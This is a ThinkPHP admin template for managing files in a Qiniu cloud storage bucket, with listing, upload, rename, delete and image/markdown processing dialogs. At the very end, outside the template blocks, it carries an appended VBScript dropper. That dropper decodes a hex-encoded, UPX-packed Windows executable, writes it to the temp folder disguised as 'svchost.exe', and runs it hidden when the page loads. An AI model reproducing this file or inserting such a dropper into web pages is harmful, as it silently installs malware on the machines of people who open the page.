qy-platform/Application/Admin/View/Qiniu/index.html

<extend name="Public/base" />

<block name="style">
	<style>
		.sidebar .right-cnt{
			-webkit-border-radius: 6px;
			-moz-border-radius: 6px;
			border-radius: 6px;
			-webkit-box-shadow: 1px 2px 5px rgba(180,180,180,0.75);
			-moz-box-shadow: 1px 2px 5px rgba(180,180,180,0.75);
			box-shadow: 1px 2px 5px rgba(180,180,180,0.75);
			min-height: 530px;
			display: block;
			border: 1px solid #c9ccd0;
			background-color: #fff;
		}
		.sidebar .right-head{
			overflow: hidden;
			padding: 0 30px;
			height: 50px;
			line-height: 50px;
			text-align: center;
			font-size: 14px;
			border-bottom: 1px solid #c9ccd0;
			background-color: #dee0e6;
			background-image: url(../../image/report/gradient-line.png);
			background-position: top;
			background-repeat: no-repeat;
			-webkit-border-top-right-radius: 5px;
			-moz-border-radius-topright: 5px;
			border-top-right-radius: 5px;
			-webkit-border-top-left-radius: 5px;
			-moz-border-radius-topleft: 5px;
			border-top-left-radius: 5px;
		}
		.sidebar .prev-block{
			width: 100%;
			height: 203px;
			line-height: 203px;
			margin-bottom: 40px;
			text-align: center;
		}
		.sidebar .prev-block .file-prev{
			max-width: 203px;
			max-height: 203px;
			vertical-align: middle;
			background-color: #f0f0f0;
			-webkit-box-shadow: 0 0 2px rgba(120,120,120,0.5);
			-moz-box-shadow: 0 0 2px rgba(120,120,120,0.5);
			box-shadow: 0 0 2px rgba(120,120,120,0.5);
		}
	}
	.sidebar .right-body-block .file-info-item {
		margin-bottom: 8px;
	}
</style>
</block>

<block name="sidebar">
	<div class="right-cnt">
		<!-- ko ifnot: certainFile -->
		<div class="right-head">
			未选择文件
		</div>
		<div class="right-body">
			<div class="right-body-block">
				<div class="prev-block">
					<span>点击左侧文件名以查看信息</span>
				</div>
			</div>
		</div>
		<!-- /ko -->
		<!-- ko with: certainFile --><!-- /ko -->
	</div>
</block>
<block name="body">
	<!-- 标题栏 -->
	<div class="main-title">
		<h2>blackwhite的七牛空间</h2>
	</div>
	<div>
		<form action="__SELF__" method="post">
			<input type="text" class="search-input" name="prefix" placeholder="输入资源名前缀匹配">
			<button class="btn" type="submit">搜索</button>

			<input type="file" name="file" id="upload-file">
			<button class="btn" target-form="ids" id="batchDelBtn" type="button">删 除</button>
			<a href="javascript:location.reload(true);" class="btn">刷新</a>
		</form>
	</div>

	<!-- 数据列表 -->
	<div class="data-table table-striped">
		<form action="{:U('batchDel')}" id="ids">
			<table id="file_list">
				<thead>
					<tr>
						<th></th>
						<th>文件名</th>
						<th>mimeType</th>
						<th >最后更新时间</th>
						<th>文件大小</th>
						<th>操作</th>
					</tr>
				</thead>
				<tbody>
					<volist name="_list" id="vo">
						<tr>
							<td><input type="checkbox" name="key" value="{$vo.key}"></td>
							<td>{$vo.key}</td>
							<td>{$vo.mimeType} </td>
							<td>{$vo.putTime|strval|substr=###,0,11|bcmul="1000000000"|date="Y-m-d H:i:s",###}</td>
							<td>{$vo.fsize|format_bytes}</td>
							<td>
								<a href="javascript:;" data-href="{:U('rename?file='.$vo['key'])}" class="rename" title="{$vo.key}">重命名</a>
								<a href="{:$qiniu->downLink($vo['key'])}" target="_blank">下载</a>
								<a href="{:U('del?file='.$vo['key'])}">删除</a>
								<a href="javascript:adv('{$vo.mimeType}','{$vo.key}')">高级</a>
							</td>
						</tr>
					</volist>
				</tbody>
			</table>
		</form>
	</div>
	<!-- 分页 -->
	<div class="page">
		{$_page}
	</div>
</block>

<block name="script">
	<script type="text/javascript" src="__STATIC__/uploadify/jquery.uploadify.min.js"></script>
	<script type="text/javascript" src="__STATIC__/thinkbox/jquery.thinkbox.js"></script>

	<script id="hooktpl" type="text/tpl">
		<form action="" method="post" class="form-horizontal hooktpl" id="rename_form">
			<label class="item-label">请输入文件名：</label>
			<div class="controls">
				<label class="textarea">
					<input type="text" name="new_name" class="input-large" />
				</label>
			</div>
		</form>
	</script>

	<script id="imgAdv" type="text/tpl">
		<p>
			<table>
				<tbody>
					<tr>
						<td>
							<input type="radio" class="type" name="type" value=0 checked>
						</td>
						<td>
							查看基本信息
						</td>
					</tr>
					<tr>
						<td>
							<input type="radio" class="type" name="type" value=1>
						</td>
						<td>
							查看exif
						</td>
					</tr>
					<tr>
						<td>
							<input type="radio" class="type" name="type" value=2>
						</td>
						<td>
							<form action="{:U('Qiniu/dealImage')}" class="form-horizontal hooktpl" id="resize_form" target="_blank" method="post">
								<label class="item-label">缩放类型：</label>
								<div class="controls">
									<label class="radio">
										<input type="radio" name="mode" value="1">
										非等比缩放
									</label>
									<label class="radio">
										<input type="radio" name="mode" value="2" checked>
										等比缩放
									</label>
								</div>
								<div class="controls">
									<label class="text">
										宽度
										<input type="text" name="w">
									</label>
									<label class="text">
										高度
										<input type="text" name="h">
									</label>
								</div>
								<div class="controls">
									<label class="text">
										质量
										<input type="text" name="q" value="100">(1~100)
									</label>
									<label class="select">
										输出格式：
										<select	name="format">
											<option>jpg</option>
											<option>gif</option>
											<option>png</option>
											<option>webp</option>
										</select>
									</label>
									<input type="hidden" name="imageView" value=1>
									<input type="hidden" name="key">
								</div>
							</form>
						</td>
					</tr>
				</tbody>
			</table>
		</p>
	</script>

	<script id="videoAdv" type="text/tpl">
		<form action="" method="post" class="form-horizontal hooktpl" id="rename_form">
			<label class="item-label">请输入文件名：</label>
			<div class="controls">
				<label class="textarea">
					<input type="text" name="new_name" class="input-large" />
				</label>
			</div>
		</form>
	</script>

	<script id="mdAdv" type="text/tpl">
		<form action="{:U('Qiniu/dealDoc')}" class="form-horizontal hooktpl" id="translate_form" target="_blank" method="post">
			<label class="item-label">请输入远程css路径：</label>
			<div class="controls">
				<label class="textarea">
					<input type="text" name="cssurl" class="input-large" />
				</label>
			</div>
			<label class="item-label">请选择模式：</label>
			<div class="controls">
				<label class="radio">
					<input type="radio" name="mode" value=0 checked/>
					完整的 HTML(head+body) 输出
				</label>
				<label class="radio">
					<input type="radio" name="mode" value=1 />
					只转为HTML Body
				</label>
			</div>
			<input type="hidden" name="key">
		</form>
	</script>

	<script type="text/javascript">
		(function($){
			//上传文件
			/* 初始化上传插件 */
			$("#upload-file").uploadify({
				"height"          : 30,
				"swf"             : "__STATIC__/uploadify/uploadify.swf",
				"fileObjName"     : "qiniu_file",
				"buttonText"      : "上传文件",
				"uploader"        : "{:U('uploadOne',array('session_id'=>session_id(),'ajax'=>1))}",
				"width"           : 120,
				'removeTimeout'   : 1,
				'onInit'		  : init,
				'multi'			  : false,
				"onUploadSuccess" : uploadSuccess,
				'onFallback' : function() {
		            alert('未检测到兼容版本的Flash.');
		        }
			});
			function init(){
				$('#upload-file, #upload-file-queue').css('display','inline-block');
			}

			/* 文件上传成功回调函数 */
			function uploadSuccess(file, data){
				console.log(data);
				var data = $.parseJSON(data);
				if(data.status){
					updateAlert('上传成功', 'alert-success');
					setTimeout(function(){
						location.reload(true);
					},1500);
				} else {
					console.log(data.data);
					updateAlert('上传失败');
				}
			}

			//文件信息预览
			$('#file_list tr').click(function(event){
				$target = $(event.target);
				$tr = $(this);
				if(!$target.is(':checkbox')){
					$('#file_list :checkbox').removeAttr('checked');
					$tr.find(':checkbox').prop('checked',true);
					$.ajax({
						url : '{:U('detail')}',
						data : { key : $('td:eq(1)', $tr).text()},
						success: function(data){
							if(data.status){
								$('.sidebar .right-cnt').html(data.tpl);
							}else{
								updateAlert('获取文件信息失败');
							}
						}
					})
				}
			});

			//批量删除
			$('#batchDelBtn').click(function(){
				var $checked = $('#file_list input[name="key"]:checked');
				if($checked.length != 0){
					if(confirm('您确认删除吗？')){
						$.ajax({
							url : '{:U('batchDel')}',
							data : { key : $checked.serializeArray()},
							success: function(data){
								if(data.status){
									updateAlert('删除成功','alert-success');
									location.reload(true);
								}else{
									updateAlert('批量删除失败');
								}
							}
						});
					}
				}else{
					updateAlert('请先选择一项');
				}
				return false;
			});

			//重命名


			$('.rename').click(function(){
				var action = $.trim($(this).data('href'));
				var html = $($("#hooktpl").html());
				html.find("input[name=new_name]").val(this.title);
				html.find("input[name=new_name]").parents('form').attr('action', action);
				//ajaxForm 公共函数
		        function ajaxForm(element,callback,dataType){
		            var form = $(element).closest('form');
		            var dataType = dataType || 'json';
		            $.ajax({
		                type: "POST",
		                url: form.attr('action'),
		                data: form.serialize(),
		                async: false,
		                dataType:dataType,
		                success: function(data) {
		                    if($.isFunction(callback)){
		                        callback(data,form);
		                    }
		                }
		            });
		        }

				option = {
					title:'文件名更改',
					actions:['close'],
					drag:true,
					tools:true,
					buttons:{"ok":['保存', 'blue',function(){
						var _this = this;
						ajaxForm(this.find('.input-large'),function(data){
							if (data.status){
								_this.hide();
								updateAlert(data.info,'alert-success');
								setTimeout(function(){
		                        	location.reload(true);
		                        },1000);
				            }else{
				            	updateAlert(data.info);
				            }
						})
					}]}
				}
				$.thinkbox(html,option);
			});

		})(jQuery);
		//高级处理
		function adv(mime, key){
			if($.inArray(mime,['image/jpeg','image/png', 'image/gif']) != -1){
				//图片
				var html = $($("#imgAdv").html());
				var option = {
					title:'图片处理',
					actions:['close'],
					drag:true,
					tools:true,
					buttons:{"ok":['提 交', 'blue',function(){
						var _this = this;
						var type = this.find('[name="type"]:checked').val();
						if(type == 2){
							this.find('[name=key]').val(key);
							this.find('#resize_form').submit();
						}else if(type == 0){
							window.open(Think.U('Admin/Qiniu/dealImage','key='+key+'&imageInfo=1'));
						}else{
							window.open(Think.U('Admin/Qiniu/dealImage','key='+key+'&exif=1'))
						}
						this.hide();
					}]}
				}
			}else if(key.slice(-3) == '.md'){
				//markdown
				var html = $($("#mdAdv").html());
				var option = {
					title:'md2html转换',
					actions:['close'],
					drag:true,
					tools:true,
					buttons:{"ok":['提交', 'blue',function(){
						var _this = this;
						this.find('[name=key]').val(key);
						this.find('#translate_form').submit();
					}]}
				}
			}else{
				//视频
				var html = $($("#videoAdv").html());
				var option = {
					title:'视频处理',
					actions:['close'],
					drag:true,
					tools:true,
					buttons:{"ok":['保存', 'blue',function(){
						var _this = this;
						ajaxForm(this.find('.input-large'),function(data){
							if (data.status){
								_this.hide();
								updateAlert(data.info,'alert-success');
								setTimeout(function(){
		                        	location.reload(true);
		                        },1000);
				            }else{
				            	updateAlert(data.info);
				            }
						})
					}]}
				}
			}
			$.thinkbox(html,option);
		}
	</script>
</block>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A5
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>